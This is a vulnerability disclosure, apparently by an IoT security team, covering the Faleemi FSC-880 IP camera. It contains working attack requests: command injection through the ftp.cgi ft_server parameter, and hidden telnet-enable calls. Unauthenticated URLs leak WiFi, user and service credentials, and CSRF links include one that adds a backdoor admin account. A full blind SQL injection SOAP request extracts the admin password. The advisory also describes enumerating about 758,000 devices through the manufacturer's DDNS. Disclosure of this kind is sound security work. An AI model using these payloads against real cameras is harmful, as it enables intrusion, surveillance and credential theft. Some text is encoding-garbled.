Faleemi FSC-880 suffers from command execution, cross site request forgery, remote SQL injection, and various other vulnerabilities.
3621d070c03120bb5f7f1fb0e4811228Full disclosure is here: https://medium.com/iotsploit/faleemi-fsc-880-multiple-security-vulnerabilities-ed1d132c2cce <https://medium.com/iotsploit/faleemi-fsc-880-multiple-security-vulnerabilities-ed1d132c2cce>
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Timeline:
25 August 2017: the research was made
29 August 2017: an email was sent to the vendor, but with no answer
25 September 2017: public disclosure
26 September 2017: assigned CVE-2017a14743
https://www.faleemi.com/product/fsc880-1080p-wirelee-ip-camera/
Firmware: 00.01.01.0048P2 (2017-07-27)
This camera has multiple security vulnerabilities, which can be exploited both locally and remotely. In particular, hardwired manufacturer DDNS and port-mapping to camera via upnp compatible router. Allowing for the discovered avoidance of authentication and RCE, this camera is an ideal candidate for another botnet such as Mirai.
CVE-2017a14743
Vulnerabilities
RCE
Works in stock firmware 00.01.01.0046 (E2017a03-**)
In the latest firmware (00.01.01.0048P2 (2017a07a27)) this is fixedaaaftp client is removed. It is not in processes and in file systemaaaostensibly because realization was altered.
Remote code execution in admin panel in GET parameters of Ft server scenario
http://IP/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=;RCE;&ftp_port==25&ft_username=&ft_password=&ft_dirname=
RCE2 (LAN)
During analysis and reversing of the firmware we found and undocumented functionaaait is possible to quite simply turn on telnet on the device:
Turn on telnet on port 23
http://192.168.0.100/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1
Check status
http://192.168.0.100/hy-cgi/factory_param.cgi?cmd=gettelnetstatus
Password protected Telnetaaasame as on web panel but with one exception: telnet is not connected to upnp. This suggests that port is not accessible outside LAN.
We have so far been unable to connect it because we have not found custom settings of doing so to upnp.
enable upnp:
http://192.168.0.100/hy-cgi/net.cgi?cmd=setupnpattr&upnp_enable=1
upnp status:
http://192.168.0.100/hy-cgi/net.cgi?cmd=getupnpattr&cmd=getupnpmap&cmd=getupnptmstatus
Plaintext passwords
User passwords are stored on the device in plaintext format in several locations simultaneously:
/etc/webserver/lighttpd.user
/mnt/mtd/db/ipcsys.db
Passwords are synchronised when changed.
Information Disclosure
Prior 00.01.01.0048P2 (2017a07a27)aaa0DAY
Device Info:
http://192.168.0.100/hy-cgi/device.cgi?cmd=getdeviceinfo
WIFI credentials leak:
http://192.168.0.100/hy-cgi/wifi.cgi?cmd=getwifiattr
Current user credentials leak:
http://192.168.0.100/hy-cgi/user.cgi?cmd=checkuserinfo
All users credentials leak:
http://192.168.0.100/hy-cgi/user.cgi?cmd=getuserattr
Third Party DDNS credentials leak:
http://192.168.0.100/hy-cgi/ddns.cgi?cmd=get3thddnsattr
Manufactureras DDNS credentials leak:
http://192.168.0.100/hy-cgi/factory_param.cgi?cmd=getddns
SMTP settings and credentials leak:
http://192.168.0.100/hy-cgi/smtp.cgi?cmd=getsmtpattr
FTP settings and credentials leak:
http://192.168.0.100/hy-cgi/ftp.cgi?cmd=getftpattr
CSRF
Prior 00.01.01.0048P2 (2017a07a27)aaa0DAY
http://192.168.8.102/hy-cgi/device.cgi?cmd=sysreboot
http://192.168.0.100/hy-cgi/log.cgi?cmd=deloperlog
http://192.168.0.100/hy-cgi/log.cgi?cmd=cleanlog
http://192.168.0.100/hy-cgi/user.cgi?cmd=adduser&at_username=BACKDOOR_ADMIN&at_password=BACKDOOR_PASSWORD&at_rolename=admin
All changes in camera settings go through GET commands and donat use CSRF tokens.
The following functions can be executed remotely:
Configure Camera
Format SD card
Delete Logs
Steal image from camera
These actions and commands can be executed from admin browser. The indecent hacker only needs to lure the admin to their page.
Similar attacks on routers have been registered in the past: http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html
And some more epic stuff
Manufactureras DDNS enumeration
There are hardwired DDNS manufacturer settings found in the device. The device sends an http request using udp www.nwsvr1.com, and sends its internal address and admin web panel IP address to API http://www.nwsvr1.com/api/userip.asp
The device we researched has DDNS name 009lfld.nwsvr1.com. Knowing that device names are generated automatically, it is possible to enumerate the entire range of names using a mask 00\d[a-z]{4}.nwsvr1.com and obtain a full list of devices in the network.
We found a total of 758000 devices, which connected with this DDNS at least once in the past.
These are cameras by different manufacturers, that are somehow related to each other.
Around 3% of devices are in the network..
HK 18.41%
US 12.72%
DE 9.94%
ES 6.77%
FR 5.66%
AR 5.09%
GB 5.00%
DK 3.79%
IT 3.34%
PL 3.04%
MX 1.90%
CN 1.55%
VN 1.53%
JP 1.53%
HU 1.40%
CL 1.27%
BR 1.20%
TH 1.19%
A little over 20% of all devices use a default password. Virtually all devices are accessible by ONVIF
A similar number (20a25 thousands devices are online) are vulnerable to auth bypass via sqli.
We have serious concerns that the DDNs password, which is hardwired into the device by the manufacturer is incremental. This means that it is possible to reverse-calculate the password to the camera based on its DDNS name.
This raises the risk of the password being hijacked if the IP cards are switched on DDNS server, then redirected the admin using a camera with a DDNS name and grabs the password using his own authentication form.
Authorization bypass via blind SQLi
Prior 00.01.01.0048P2 (2017a07a27)aaa0DAY
A device without authentication on web-port has an accessible endpoint by default /onvif/
ONVIF is an API standard for such devices. WSDL can be downloaded from the official website (www.onvif.org).
API uses authentication by tokens.
This device also has an SQL injection vulnerability in the username field of the authentication token. Using this it is possible to obtain an admin password.
Example of the exploit:
/* https://medium.com/iotsploit/faleemi-fsc-880-multiple-security-vulnerabilities-ed1d132c2cce */
POST /onvif/device_service HTTP/1.1
Content-Type: application/soap+xml
Content-Length: 1076
charset: utf-8
Host: 192.168.0.100
Connection: close
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<Security s:mustUnderstand="1" xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">
<UsernameToken>
<Username>adfgadfhart' AND 1=2 UNION SELECT 1,'admin',(select unicode(substr(C_PassWord, 2, 1)) from t_user limit 1 OFF
SET 0),'remark'/*</Username>
<Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest">UHZj
ybNG8udkMEflf+LjkCUmR88=</Password>
<Nonce EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary">fD
nW+mqvvsID/WJGNR6QWQ==</Nonce>
<Created xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">1970-01-01T00:03:58
.674Z</Created>
</UsernameToken>
</Security>
</s:Header>
<s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/>
</s:Body>
</s:Envelope>
To do this, the date and time set in the device are needed because they are used to build the password field of the authentication token.
We drafted this POC, which allows to extract from the camera a password and gain entry to the device using admin credentials.
This research was made by IoTSploit Team. Feel free to contact us at [email protected] and visit our website at https://iotsploit.co/
If you have any active contact with Faleemi, please, show them this report and we are ready to coop.